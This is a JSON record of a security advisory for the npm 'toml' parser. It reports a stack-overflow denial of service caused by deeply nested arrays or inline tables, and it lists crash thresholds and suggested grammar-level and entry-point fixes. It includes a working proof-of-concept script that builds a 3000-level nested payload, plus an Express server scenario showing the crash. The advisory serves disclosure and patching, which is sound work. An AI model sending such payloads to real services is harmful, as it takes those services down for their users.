{"id":"GHSA-82x6-q7mm-w9cf","summary":"toml-node: Uncontrolled Recursion","details":"### Summary\n\n\n`toml.parse()` crashes with an uncaught `RangeError: Maximum call stack size exceeded` when parsing deeply nested arrays or inline tables. The parser is generated by **Peggy 5.1.0** (a PEG parser generator) as a recursive-descent parser; the value rule mutually recurses with the array and inline-table rules with **no depth limit**, so nesting depth equal to the input depth exhausts Node's call stack.\n\nA small payload — a bare array nested a few thousand levels deep (**~5–6 KB**) — reliably crashes the process on a default Node.js configuration. `toml` has **~47 million monthly downloads**.\n\n---\n\n## Vulnerable Code\n\nThe parser is a **generated** recursive-descent parser (`lib/parser.js`, header: `// @generated by Peggy 5.1.0.`). The recursion sink is the mutual recursion between the `value`, `array`, and `inline_table` rule functions — none carry a depth counter:\n\n```javascript\n// lib/parser.js — peg$parsevalue() @ line 1008\nfunction peg$parsevalue() {\n  ...\n  s0 = peg$parsearray();          // line 1017  ← value → array\n  if (s0 === peg$FAILED) {\n    s0 = peg$parseinline_table(); // line 1019  ← value → inline_table\n  }\n  ...\n}\n\n// peg$parsearray() @ line 2879\nfunction peg$parsearray() {\n  ...\n  s3 = peg$parsevalue();          // line 2931  ← array element → value (back-edge)\n  ...\n}\n\n// peg$parseinline_table() @ line 3066 → peg$parseinline_table_entry() @ line 3239\nfunction peg$parseinline_table_entry() {\n  ...\n  s5 = peg$parsevalue();          // line 3266  ← inline-table value → value (back-edge)\n  ...\n}\n```\n\n**Recursion cycle** for `a=[[[ … ]]]` (bare nested arrays):\n\n```\ntoml.parse(src)\n  → peg$parsevalue()        # parser.js:1008\n      → peg$parsearray()     # parser.js:1017 / 2879\n          → peg$parsevalue() # parser.js:2931  ← back-edge, per nested element\n              → …            # depth == input nesting → RangeError, no guard\n```\n\nInline tables (`{arr=[ … ]}`, `{a={a= … }}`) reach the same cycle via `peg$parseinline_table` / `peg$parseinline_table_entry`. Because the parser is machine-generated, there is no hand-written function to patch; the fix belongs in the grammar (`src/toml.pegjs`) or in an input guard (see *Suggested Fix*).\n\n---\n\n## Confirmed PoC (toml 4.1.2, Node.js v24.16.0)\n\n**Setup:**\n\n```bash\nnpm install toml@4.1.2        # latest release; 4.1.1 and earlier are equally affected\n# Docker equivalent:\n# docker run --rm node:24 bash -c \"npm i -g toml \u003e/dev/null 2\u003e&1; node -e '\u003cPoC below\u003e'\"\n```\n\n**Reproduce** — save as `poc.js`, run `node poc.js`:\n\n```javascript\nconst toml = require('toml');\nconsole.log('version:', require('toml/package.json').version);  // 4.1.2\n\n// Smallest reliable payload: a bare array nested 3000 levels (~6 KB)\nlet x = '1';\nfor (let i = 0; i \u003c 3000; i++) x = '[' + x + ']';\nconst payload = 'a=' + x;\nconsole.log('payload bytes:', payload.length);   // 6003\n\ntry {\n  toml.parse(payload);\n  console.log('no crash');\n} catch (e) {\n  console.log('CONFIRMED:', e.constructor.name + ':', e.message.slice(0, 40));\n  console.log('is RangeError?', e instanceof RangeError,          // true\n              '| is SyntaxError?', e instanceof SyntaxError);     // false\n}\n```\n\n**Expected output (vulnerable — actual run):**\n\n```\nversion: 4.1.2\npayload bytes: 6003\nCONFIRMED: RangeError: Maximum call stack size exceeded\nis RangeError? true | is SyntaxError? false\n```\n\n**Verified crash thresholds (fresh process, single parse, default Node 24 stack):**\n\n| Payload shape | Reliable crash depth | Payload size |\n|---------------|----------------------|--------------|\n| Bare nested array `a=[[ … ]]` | ≥ ~2,500 | **~5 KB** (6 KB at depth 3000, used above) |\n| Inline table `{arr=[ … ]}` | ≥ ~1,500 | ~12 KB |\n\n\u003e **Note on the exact threshold:** the precise crashing depth is not perfectly deterministic — it shifts by a few hundred levels depending on V8 JIT state, Node version, platform, and any configured `--stack-size`. This is expected for a stack-overflow condition. A payload nested a few thousand levels deep (single-digit KB) crashes reliably across runs; the PoC above (depth 3000) leaves ample margin.\n\n---\n\n## Realistic Attack Scenario\n\n```javascript\n// Node.js service parsing user-supplied TOML config\nconst express = require('express');\nconst toml = require('toml');\nconst app = express();\napp.use(express.text({ type: 'application/toml', limit: '100kb' }));\n\napp.post('/config', (req, res) =\u003e {\n  try {\n    const config = toml.parse(req.body);   // ← RangeError on ~6 KB nested payload\n    res.json({ status: 'ok' });\n  } catch (e) {\n    // toml only throws a peg$SyntaxError (e.name === 'SyntaxError', with e.line/e.column)\n    // on malformed input. A RangeError has neither, so this guard rethrows it:\n    if (e.line != null) return res.status(400).json({ error: e.message });\n    throw e;                                // RangeError propagates → uncaught → worker down\n  }\n});\n```\n\nAn unauthenticated attacker POSTs a ~6 KB deeply nested body (well under the 100 KB limit). `toml.parse` overflows the stack and throws `RangeError`; any handler that only special-cases syntax errors rethrows it, taking down the request (and, depending on the server, the worker).\n\n\u003e The package exports **only** `parse` (`Object.keys(require('toml'))` → `['parse']`); there is **no** `toml.SyntaxError`. Code written as `catch (e) { if (e instanceof toml.SyntaxError) … }` is itself broken (`instanceof undefined` throws), so applications generally cannot cleanly distinguish the DoS `RangeError` from a normal parse error.\n\n---\n\n## Impact\n\nAny Node.js application that calls `toml.parse()` on untrusted input is exposed to a remote, unauthenticated denial of service via a small (~5–6 KB) deeply nested payload. `toml.parse` is the package's only public API, and TOML is commonly parsed from user-supplied config/upload endpoints. With **~47 million monthly downloads** and **0 existing CVEs**, the exposure is broad.\n\n`RangeError` is a subclass of `Error` (not of the parser's `SyntaxError`), so it bypasses the usual \"is this a parse error?\" checks and propagates as an unexpected exception.\n\n---\n\n## Suggested Fix\n\nBecause `lib/parser.js` is generated, the fix should be applied at the grammar level and regenerated, or guarded at the entry point:\n\n**Option 1 — grammar-level depth guard (`src/toml.pegjs`), then re-run Peggy:**\n\n```javascript\n// In the grammar initializer:\n{ let depth = 0; const MAX_DEPTH = 500; }\n\n// Wrap the recursive `value` rule:\nvalue = &{ if (++depth \u003e MAX_DEPTH) { error(\"TOML nesting too deep\"); } return true; }\n        v:(array / inline_table / ...) { depth--; return v; }\n```\n\n**Option 2 — entry-point guard in `index.js`** (reject pathological input before parsing):\n\n```javascript\nmodule.exports.parse = function (input) {\n  // cheap structural bound before the recursive parse\n  let depth = 0, max = 0;\n  for (const ch of input) {\n    if (ch === '[' || ch === '{') max = Math.max(max, ++depth);\n    else if (ch === ']' || ch === '}') depth--;\n  }\n  if (max \u003e 500) throw new Error('TOML nesting depth exceeds limit (500)');\n  return realParse(input);\n};\n```\n\n**Immediate mitigation (users, verified):** bound untrusted input length **and** bracket-nesting depth before calling `toml.parse()`, e.g. reject payloads whose maximum `[`/`{` nesting exceeds a few hundred. A byte-length limit alone is insufficient (5 KB already crashes).\n\n---\n\n## Comparison with Related Vulnerabilities\n\nSame CWE-674 class as the recursion-DoS findings in the PyPI `toml` package (C055) and the YAML parsers (PyYAML GHSA-r9mm-j37c-pjwp, ruamel.yaml). The distinguishing detail here: the parser is **generated by Peggy**, so the recursion lives in `peg$parsevalue`/`peg$parsearray`/`peg$parseinline_table` and cannot be fixed by editing a hand-written function — the earlier draft of this report incorrectly showed hand-written `parseValue(tokens, index)` functions that do not exist in the package.","aliases":["CVE-2026-77465"],"modified":"2026-09-03T21:25:36.421557Z","published":"2026-09-03T20:56:13Z","database_specific":{"nvd_published_at":null,"cwe_ids":["CWE-674"],"severity":"HIGH","github_reviewed":true,"github_reviewed_at":"2026-09-03T20:56:13Z"},"references":[{"type":"WEB","url":"https://github.com/BinaryMuse/toml-node/security/advisories/GHSA-82x6-q7mm-w9cf"},{"type":"WEB","url":"https://github.com/BinaryMuse/toml-node/pull/72"},{"type":"WEB","url":"https://github.com/BinaryMuse/toml-node/commit/967b8b06754f3ecd9863cea118dc50792a8c353f"},{"type":"PACKAGE","url":"https://github.com/BinaryMuse/toml-node"}],"affected":[{"package":{"name":"toml","ecosystem":"npm","purl":"pkg:npm/toml"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"4.2.0"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-82x6-q7mm-w9cf/GHSA-82x6-q7mm-w9cf.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}]}